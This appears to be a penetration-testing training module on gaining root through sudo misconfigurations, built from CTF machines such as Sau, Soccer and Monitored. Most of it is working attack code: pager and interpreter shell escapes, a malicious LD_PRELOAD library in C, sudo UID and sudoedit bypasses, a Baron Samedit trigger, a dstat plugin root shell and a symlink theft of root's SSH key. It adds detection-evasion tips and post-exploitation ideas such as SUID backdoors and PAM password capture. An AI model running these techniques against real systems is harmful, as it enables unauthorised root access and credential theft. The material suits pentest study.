Back to All Modules

Sudo Abuse

#Overview

Sudo misconfigurations are the most common Linux privilege escalation vector. A user allowed to run specific commands as root may be able to leverage shell escapes, environment variable manipulation, or known sudo version vulnerabilities to gain a full root shell. The sudo -l command is the single most important first step in Linux enumeration.

#Prerequisites

#Detection & Enumeration

# List allowed sudo commands
sudo -l

# Example output analysis:
# (ALL) NOPASSWD: /usr/bin/find        -- can run find as root without password
# (ALL : ALL) ALL                      -- full root (password required)
# (root) /usr/bin/vim                  -- can run vim as root
# (ALL, !root) /bin/bash               -- all users EXCEPT root -- bypassable!

# Check sudo version (may be vulnerable to CVEs)
sudo --version

# Check if env_keep includes dangerous variables
sudo -l | grep -i env
BASH

#Exploitation / Execution

#GTFOBins Sudo Entries

For any command in sudo -l, check GTFOBins. Common sudo-based escapes:

# sudo vim
sudo vim -c ':!/bin/bash'

# sudo find
sudo find . -exec /bin/bash \; -quit

# sudo less / more
sudo less /etc/hosts
# Inside less: !/bin/bash

# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo nmap (old versions)
sudo nmap --interactive
nmap> !sh

# sudo python/perl/ruby
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'

# sudo git
sudo git -p help config
# Inside pager: !/bin/bash

# sudo systemctl (systemd < 245 vulnerable to CVE-2023-26604)
sudo systemctl status trail.service
# When pager opens: !/bin/bash
BASH

Real example from Sau: sudo -l showed permission to run /usr/bin/systemctl status trail.service as root. Systemd 245 was vulnerable to CVE-2023-26604, where the less pager inside systemctl status allowed shell escape via !/bin/bash.

#LD_PRELOAD with env_keep

When sudo's env_keep preserves LD_PRELOAD:

# Check if env_keep includes LD_PRELOAD
sudo -l
# Output: env_keep+=LD_PRELOAD

# Create malicious shared object
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so <allowed_command>
BASH

#Sudoedit Bypasses

When sudoedit is allowed:

# If sudoedit is allowed on any file, and SUDO_EDITOR can be set:
export SUDO_EDITOR=/bin/bash
sudoedit /etc/hosts  # Opens bash instead of editor

# Alternative: use -- to pass editor argument
sudoedit -- -c '!/bin/bash'
BASH

#NOPASSWD Exploitation

NOPASSWD means no password prompt -- useful for scripted exploits:

# (root) NOPASSWD: /usr/bin/vim
# Simply run:
sudo /usr/bin/vim -c ':!/bin/bash'
# No password required -- instant root
BASH

#Sudo Version Vulnerabilities

CVE-2021-3156 (Baron Samedit / sudoedit heap overflow):

# Affects sudo 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1
sudoedit -s '\' $(python3 -c "print('A'*1000)")
# Exploit available: https://github.com/blasty/CVE-2021-3156
BASH

#Sudo with !restricted Commands (Bypass)

When sudoers restricts certain commands:

# Sudoers entry: (ALL, !root) /bin/bash
# This means "all users EXCEPT root" -- bypassable:
sudo -u#-1 /bin/bash    # -1 UID wraps to 0 (root)
sudo -u#4294967295 /bin/bash  # Same effect on 64-bit

# Sudoers: user ALL=(root) !/bin/sh, /usr/bin/*
# Means user can run anything in /usr/bin except /bin/sh
# But /usr/bin/* includes lots of escape-capable binaries
sudo /usr/bin/python -c 'import os; os.system("/bin/bash")'
BASH

#Sudo Tokens and Caching

# Sudo tokens are cached (default 15 minutes)
# Check if a sudo token exists:
sudo -k  # Invalidate current tokens

# If you have a recent sudo session elsewhere (shell upgraded to a different user):
# Check timestamp
sudo -v  # Validate (refresh) sudo timestamp

# Timestamps are stored in:
ls -la /var/run/sudo/ts/
BASH

#Systemctl Pager Escape (CVE-2023-26604)

This specific vulnerability affected systemd <= 245 where systemctl status invokes a pager without setting LESSSECURE=1:

sudo /usr/bin/systemctl status trail.service
# When the pager (less) opens, type:
!/bin/bash
# Root shell spawned because pager inherits sudo privileges
BASH

Real example from Sau: sudo /usr/bin/systemctl status trail.service followed by !/bin/bash produced a root shell.

#dstat Plugin Abuse via doas (Sudo Alternative)

Real example from Soccer: doas (alternative to sudo) allowed player to run dstat as root:

cat /usr/local/etc/doas.conf   # permit player as root cmd dstat

# dstat supports Python plugins in /usr/local/share/dstat/
echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_pwn.py

# Verify plugin is detected
doas /usr/bin/dstat --list

# Execute custom plugin as root
doas /usr/bin/dstat --pwn   # --pwn triggers dstat_pwn.py, spawning root shell
BASH

#Sudo Symlink Following

Real example from Monitored: sudo allowed running getprofile.sh which followed symlinks to root's SSH key:

sudo -l  # (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh

# The script copies phpmailer.log tail into a profile directory
# Create a symlink to target root's SSH key
ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1

# The profile now contains root's private key
unzip /usr/local/nagiosxi/var/components/profile.zip
ssh -i id_rsa root@target
BASH

#sudo -l Output Interpretation

Common output formats and what they mean:

OutputMeaning
(root) NOPASSWD: /usr/bin/vimRun vim as root without password
(ALL : ALL) ALLRun any command as any user (basically root)
(root) /usr/bin/cat /var/log/*Run cat on /var/log/* as root (path traversal possible)
(root) NOPASSWD: /usr/bin/findRun find as root (GTFOBins: sudo find . -exec /bin/sh \;)
(root) NOPASSWD: /usr/bin/python3Run python3 as root (sudo python3 -c 'import os; os.system("/bin/sh")')
(www-data) NOPASSWD: /usr/bin/systemctlRun systemctl as www-data (service manipulation)
(root) SETENV: /usr/bin/ffmpegCan set environment variables (LD_PRELOAD attack)

Key flags to look for: NOPASSWD (no auth needed), SETENV (env var control), wildcard paths (traversal)

#Common Pitfalls

  • Not checking GTFOBins for every command in sudo -l -- even seemingly benign commands often have escapes
  • Assuming a command listed in sudoers is safe because it "looks" safe -- always check GTFOBins
  • Forgetting to check sudo version for CVEs -- Baron Samedit (CVE-2021-3156) affected many distributions
  • Not checking env_keep for dangerous variables (LD_PRELOAD, LD_LIBRARY_PATH, PERL5LIB, PYTHONPATH)
  • The !root bypass trick (sudo -u#-1) works on many older sudo configurations
  • Password-protected sudo may still be exploitable if a sudo token exists (default 15-minute cache)

#OPSEC Considerations

  • sudo -l is a normal user command and generally not monitored.
  • Failed sudo attempts (incorrect password) are logged to /var/log/auth.log and may alert administrators.
  • Successful sudo shell escapes create processes owned by root visible via audit logs.
  • Shell escapes through pagers (less/more) are harder to detect than direct shell spawning.

#Post-Exploitation Value

Sudo exploitation provides root access with full filesystem and process control. Enables: reading protected files (/etc/shadow, /root/), installing SSH key persistence, creating SUID backdoors, modifying PAM modules for password interception, extracting credentials from memory of privileged processes.

#Cross-References

#Tool References

ToolLink
GTFOBins (sudo section)https://gtfobins.github.io/#+sudo
Baron Samedit exploithttps://github.com/blasty/CVE-2021-3156

#Source Machines

  • Sau (Easy, Linux) - systemctl status + pager escape via CVE-2023-26604
  • Monitored (Medium, Linux) - symlink attack through sudo getprofile.sh to extract root SSH key
  • Soccer (Easy, Linux) - doas (sudo alternative) + dstat plugin code execution